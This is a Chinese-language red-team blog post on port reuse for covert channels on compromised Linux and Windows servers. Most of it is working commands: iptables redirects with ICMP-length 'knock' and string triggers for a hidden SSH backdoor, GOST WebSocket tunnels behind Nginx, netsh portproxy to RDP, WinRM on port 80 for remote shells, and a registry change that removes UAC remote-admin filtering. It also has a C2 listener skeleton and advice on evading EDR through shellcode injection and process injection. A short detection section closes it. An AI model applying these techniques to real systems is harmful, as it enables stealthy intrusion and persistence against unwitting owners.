// 红队渗透 · 2025-04-30

端口复用技术:红队视角下的隐蔽通信与实战指南

端口复用技术:红队视角下的隐蔽通信与实战指南

在服务器不出网、流量被严格审计的场景下,传统反弹 Shell 方案(如 frp、Cobalt Strike Beacon)往往因特征明显而被拦截。端口复用技术通过“寄生”于合法服务端口之上,将恶意流量隐匿于正常业务流中,成为红队突破网络边界、建立持久化通道的利器。本文从内核原理到实战落地,系统梳理 Linux 与 Windows 双平台的端口复用方案。


一、为什么需要端口复用?

1.1 传统方案的困境

在真实的红队行动中,目标环境往往存在以下限制:

限制类型 具体表现 对反弹 Shell 的影响
网络隔离 服务器仅开放 80/443,无出网权限 frp、ngrok 等反向代理无法回连
流量审计 部署 NIDS/HIDS,深度包检测(DPI) 明文 C2 流量易被特征匹配
端口管控 防火墙白名单仅放行 HTTP/HTTPS 非标准端口连接被直接丢弃
杀软查杀 EDR 实时监控进程与网络行为 落地二进制文件易被静态/动态检测

端口复用的核心思路是:不新增监听端口,而是复用已有合法端口(如 80、443、3389),将攻击流量伪装成正常业务流量,从而绕过上述所有限制。

1.2 端口复用的两种技术路线

端口复用在技术实现上可分为两条路线:

路线一:网络层转发(Network Layer Forwarding)

  • 利用操作系统内核的网络栈(如 Netfilter/iptables、HTTP.sys)在数据包层面进行重定向
  • 优点:无需解析应用层协议,性能开销极低,对上层应用透明
  • 缺点:缺乏流量区分能力,需配合触发条件(如特定源 IP、包长度)实现精准转发

路线二:应用层多路复用(Application Layer Multiplexing)

  • 借助代理中间件(如 Nginx、GOST)解析 HTTP 头部、WebSocket 帧或 TLS SNI,按规则分发流量
  • 优点:可基于协议内容做精细路由,支持加密与负载均衡
  • 缺点:引入额外处理层,延迟略高于内核转发

在红队实战中,两条路线往往组合使用:网络层转发用于快速建立通道,应用层多路复用用于长期隐蔽通信。


二、Linux 平台:iptables 与 GOST 双轨方案

2.1 iptables REDIRECT:内核级的流量劫持

原理剖析

iptables 的 REDIRECT 目标动作工作于 Netfilter 框架的 PREROUTING 链,在路由决策前修改数据包的目的端口。由于整个过程在内核态完成,性能损耗极低,且对应用层完全透明——被转发的连接感知到的源地址仍是真实的客户端 IP,而非转发服务本身。

基础端口转发

假设目标服务器仅开放 80 端口,需将 SSH 流量(22 端口)隐匿其中:

# 1. 加载 NAT 模块(部分发行版需手动加载)
modprobe ip_tables
modprobe iptable_nat

# 2. 配置 REDIRECT 规则(必须指定接口,避免回环接口 loop redirect)
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-ports 22

# 3. 持久化规则(不同发行版路径略有差异)
iptables-save > /etc/iptables/rules.v4
systemctl enable netfilter-persistent

⚠️ 关键细节:必须指定 -i eth0(或实际网卡),否则回环接口(lo)上的流量也会被重定向,导致本地服务访问异常。

隐蔽性增强:条件触发机制

无条件转发 80→22 的问题在于,正常 HTTP 请求也会被导向 SSH 服务,导致业务中断并引起管理员警觉。实战中需引入“触发器”概念:

方案 A:源 IP 白名单

# 仅允许特定攻击机 IP 触发转发
iptables -t nat -A PREROUTING -p tcp -s 192.168.1.100 --dport 80 -j REDIRECT --to-ports 22

适用场景:攻击机拥有固定公网 IP,且目标无其他合法用户访问 80 端口。

方案 B:数据包长度触发(Knock 机制)

# 创建自定义链
iptables -t nat -N LETMEIN
iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-ports 22

# ICMP "敲门":特定长度包开启/关闭复用
iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1139 -m recent --set --name letmein --rsource -j ACCEPT
iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1140 -m recent --name letmein --remove -j ACCEPT

# TCP 80 端口:仅在 "敲门" 后 3600 秒内转发
iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN

攻击机触发方式:

# 开启复用(发送长度为 1111 的 ICMP,加包头 28 字节后总长度 1139)
ping -c 1 -s 1111 <目标IP>

# 关闭复用
ping -c 1 -s 1112 <目标IP>

🔒 安全考量:若目标环境禁用 ICMP,可改用 TCP SYN 包触发,通过 --tcp-flags 或自定义载荷实现类似 Knock 效果。

方案 C:TCP 载荷特征触发

# 检测 TCP 载荷中是否包含特定字符串
iptables -t nat -A PREROUTING -p tcp --dport 80 -m string --string "threathuntercoming" --algo bm -j REDIRECT --to-ports 22

此方案隐蔽性更高,但 iptables 的字符串匹配模块(xt_string)在高并发场景下性能较差,需谨慎使用。

持久化与清理

# 查看规则(带行号,便于删除)
iptables -t nat -L -n -v --line-numbers

# 删除指定规则(示例删除 PREROUTING 第 3 条)
iptables -t nat -D PREROUTING 3

# 完整清理 NAT 表
iptables -t nat -F
iptables -t nat -X LETMEIN

2.2 GOST + WebSocket:应用层的隧道艺术

当场景需要加密通信、多级代理链或绕过 HTTP 代理审查时,纯 iptables 方案力不从心。GOST(GO Simple Tunnel)作为 Go 语言编写的安全隧道工具,支持 WebSocket、HTTP2、QUIC 等多种传输协议,可将任意 TCP/UDP 流量封装为 Web 流量。

架构设计

攻击机                        目标服务器(仅开放 80)
┌─────────┐    WebSocket     ┌──────────────┐    TCP    ┌────────┐
│ GOST    │ ───────────────→ │ Nginx (80)   │ ────────→ │ GOST   │
│ Client  │   (伪装 HTTP)     │ proxy_pass   │          │ Server │
│ :1080   │                  │ /ws → :7000  │          │ :7000  │
└─────────┘                  └──────────────┘          └────────┘
     │                                                         │
     └──────────────────── 本地 SOCKS5 代理 ───────────────────┘

服务端配置(目标服务器)

# 启动 GOST,监听本地 7000 端口的 WebSocket 服务
gost -L ws://:7000

Nginx 反向代理配置

server {
    listen 80;
    server_name target.example.com;

    location /ws {
        proxy_pass http://127.0.0.1:7000;
        proxy_http_version 1.1;
        proxy_set_header Upgrade $http_upgrade;
        proxy_set_header Connection "upgrade";
        proxy_read_timeout 86400s;      # 长连接保持
        proxy_send_timeout 86400s;
        proxy_buffering off;            # 禁用缓冲,降低延迟
    }

    # 正常业务 location(确保复用不影响原有服务)
    location / {
        proxy_pass http://127.0.0.1:8080;
    }
}

💡 关键配置:proxy_buffering off 可避免 Nginx 对 WebSocket 帧的缓冲延迟,proxy_read_timeout 需设置足够长以维持隧道心跳。

攻击机配置

# 本地启动 SOCKS5 代理,通过 WebSocket 隧道连接目标
gost -L=socks5://:1080 -F=ws://target.example.com:80?path=/ws

# 或使用代理链(先过一层 HTTPS 代理)
gost -L=socks5://:1080 -F=http://proxy.corp.com:8080 -F=ws://target.example.com:80?path=/ws

进阶:TLS 加密 WebSocket(wss)

# 服务端(需准备证书)
gost -L wss://:443?cert=/path/to/cert.pem&key=/path/to/key.pem&path=/ws

# 客户端
gost -L=socks5://:1080 -F=wss://target.example.com:443?path=/ws&secure=true

使用 wss 后,流量在 TLS 层加密,即使被中间人截获也无法区分是正常 WebSocket 还是 GOST 隧道,隐蔽性达到最高等级。


三、Windows 平台:Netsh、WinRM 与 Socket 编程

3.1 Netsh PortProxy:系统原生的转发利器

Netsh 是 Windows 内置的网络配置工具,其 interface portproxy 子命令可在无需第三方软件的情况下实现端口转发,适合快速部署和权限维持。

基础配置(80 → 3389)

:: 添加转发规则:监听 0.0.0.0:80,转发到 127.0.0.1:3389
netsh interface portproxy add v4tov4 listenport=80 listenaddress=0.0.0.0 connectport=3389 connectaddress=127.0.0.1

:: 查看所有规则
netsh interface portproxy show all

:: 删除规则
netsh interface portproxy delete v4tov4 listenport=80

⚠️ 限制:Netsh PortProxy 依赖 IP Helper 服务(iphlpsvc),且仅支持 TCP 协议,UDP 流量无法转发。此外,Windows 10/11 家庭版及部分精简版系统可能不支持此功能。

持久化技巧

:: 将规则写入注册表(重启后自动生效)
:: 规则存储于 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\PortProxy4tov4

:: 通过 WMI 查询验证规则存在
wmic path win32_portproxyprotocolendpoint get * /format:list

3.2 WinRM + HTTP.sys:基于内核驱动的端口共享

这是 Windows 平台最隐蔽的端口复用方案,利用 HTTP.sys 驱动的 Port Sharing 特性,让 WinRM 服务与 IIS 共享 80/443 端口。

HTTP.sys Port Sharing 原理

HTTP.sys 是 Windows 内核态的 HTTP 协议栈驱动,所有基于它的 HTTP 应用(IIS、WinRM、WCF 等)通过注册不同的 URL 前缀(URL Prefix)共享同一端口。例如:

  • IIS 注册 http://+:80/
  • WinRM 注册 http://+:80/wsman

当数据包到达 80 端口时,HTTP.sys 根据 URL 路径分发到对应的应用程序。

实战配置

Step 1:确认目标环境

:: 查看 HTTP.sys 上已注册的 URL 前缀
netsh http show servicestate

:: 检查 WinRM 服务状态
winrm enumerate winrm/config/listener

Step 2:新增 80 端口监听(推荐方式,不修改原有 5985)

:: Windows Server 2012+ 默认开启 WinRM,只需新增兼容性监听
winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}

:: 或修改默认端口为 80(会覆盖 5985,不推荐)
winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"}

Step 3:攻击机连接

:: 本地开启 WinRM 并信任所有主机
winrm quickconfig -q
winrm set winrm/config/Client @{TrustedHosts="*"}

:: 执行单条命令
winrs -r:http://<目标IP>:80 -u:Administrator -p:<密码> whoami

:: 获取交互式 Shell
winrs -r:http://<目标IP>:80 -u:Administrator -p:<密码> cmd

绕过 UAC 限制

WinRM 受 UAC 影响,非 Administrator 账户即使属于 Administrators 组也无法远程登录。需修改注册表:

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

🔒 防御视角:蓝队可通过 netsh http show servicestate 检测异常的 URL 前缀注册,或监控 WinRM 日志(Event ID 91)发现异常认证。


3.3 自定义 Socket 程序:SO_REUSEADDR 的攻防博弈

当上述系统工具受限时,可通过原生 Socket 编程实现端口复用,核心在于 SO_REUSEADDR 套接字选项。

原理与限制

SO_REUSEADDR 允许绑定处于 TIME_WAIT 状态的端口,或在多网卡场景下绑定相同端口的不同 IP。但在 Linux 上,若已有进程监听 0.0.0.0:80,即使设置 SO_REUSEADDR 也无法再次绑定 0.0.0.0:80——这是内核的安全设计。

绕过思路:

  • 若原服务监听 0.0.0.0:80,后门可绑定 127.0.0.1:80 或特定内网 IP:80(需 root 权限)
  • 在 Windows 上,SO_REUSEADDR 行为更宽松,允许完全相同的地址和端口重复绑定(需两个进程都设置该选项)

C 语言示例(Windows)

#include <winsock2.h>
#include <stdio.h>
#pragma comment(lib, "Ws2_32.lib")

int main() {
    WSADATA wsaData;
    WSAStartup(MAKEWORD(2, 2), &wsaData);

    SOCKET sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    int opt = 1;
    setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, (char*)&opt, sizeof(opt));

    struct sockaddr_in addr = {0};
    addr.sin_family = AF_INET;
    addr.sin_addr.s_addr = INADDR_ANY;  // 0.0.0.0
    addr.sin_port = htons(80);

    if (bind(sock, (struct sockaddr*)&addr, sizeof(addr)) == SOCKET_ERROR) {
        printf("Bind failed: %d\n", WSAGetLastError());
        return 1;
    }

    listen(sock, SOMAXCONN);
    printf("[+] Listening on 0.0.0.0:80\n");

    // 接受连接后,根据载荷特征判断是正常流量还是 C2 流量
    // 正常流量:转发到 127.0.0.1:8080(原 Web 服务)
    // C2 流量:执行命令并回显

    return 0;
}

免杀考量

自定义 Socket 程序面临的主要检测点:

检测维度 规避策略
静态特征 使用内存加载(PE Loader)、Shellcode 注入,避免磁盘落地
行为特征 模拟正常 Web 服务响应(返回 200/404),仅在特定 URI 或 Header 触发后门逻辑
网络特征 流量加密(TLS/WebSocket),心跳间隔随机化,避免固定模式
进程特征 注入到合法进程(如 svchost.exe)或伪装为系统服务

四、方案对比与选型决策树

方案 平台 隐蔽性 复杂度 性能 适用场景
iptables REDIRECT Linux ⭐⭐⭐ 低 极高 快速通道建立、临时转发
iptables + Knock Linux ⭐⭐⭐⭐ 中 高 需要条件触发的长期后门
GOST + WebSocket Linux/Win ⭐⭐⭐⭐⭐ 中 中 加密隧道、多级代理、绕过 DPI
Netsh PortProxy Windows ⭐⭐⭐ 低 高 快速 RDP/SSH 转发
WinRM + HTTP.sys Windows ⭐⭐⭐⭐⭐ 低 高 已安装 IIS 的 Windows Server
SO_REUSEADDR Socket Linux/Win ⭐⭐⭐⭐ 高 中 高度定制化、免杀需求

选型决策树

目标平台是 Linux?
├── 是 → 需要加密/代理链?
│   ├── 是 → GOST + WebSocket (wss)
│   └── 否 → iptables REDIRECT (+ Knock 增强隐蔽)
└── 否 (Windows) → 已安装 IIS?
    ├── 是 → WinRM + HTTP.sys (最隐蔽)
    └── 否 → 需要快速部署?
        ├── 是 → Netsh PortProxy
        └── 否 → 自定义 Socket (SO_REUSEADDR)

五、蓝队视角:检测与防御

端口复用并非无懈可击,蓝队可从以下维度构建检测能力:

5.1 网络层检测

# Linux:检查异常的 NAT 规则
iptables -t nat -L -n -v

# Windows:检查 PortProxy 规则
netsh interface portproxy show all

# 全平台:查看监听端口与进程关联
ss -tulnp          # Linux
netstat -ano | findstr LISTENING   # Windows

5.2 主机层检测

  • 进程网络行为:监控异常进程绑定已占用端口(EDR 方案)
  • 内核模块:检查是否有未知的 Netfilter 模块加载(Linux Rootkit 检测)
  • 注册表/服务:Windows 下检查 PortProxy 键值和 WinRM 监听器配置

5.3 流量层检测

  • 基线对比:对比正常 HTTP 流量的 URI 分布、User-Agent、请求频率,发现异常 WebSocket 长连接
  • 深度包检测:对 80/443 端口流量进行协议解析,识别非 HTTP 协议特征(如 SSH 握手、RDP 协商)
  • 行为分析:监控同一源 IP 在“敲门”(ICMP 特定长度包)后立即发起 TCP 连接的序列

六、总结与实战建议

端口复用技术的本质是将攻击面隐匿于合法服务之中,实现“大隐隐于市”。在红队实战中,需遵循以下原则:

  1. 最小干扰原则:任何复用方案都不应影响正常业务,否则将迅速暴露。iptables 转发务必加触发条件,GOST 隧道需配置 fallback 到正常服务。

  2. 分层隐蔽原则:单一技术不足以应对现代防御体系。建议组合使用:iptables 做入口转发 → GOST 做加密隧道 → 内存加载的 Agent 做最终执行。

  3. 快速清理原则:行动结束后务必清理所有规则(iptables -F、netsh delete、WinRM 监听移除),避免留下持久化痕迹。


参考资源

原文 https://blog.csdn.net/2301_79518550/article/details/146570841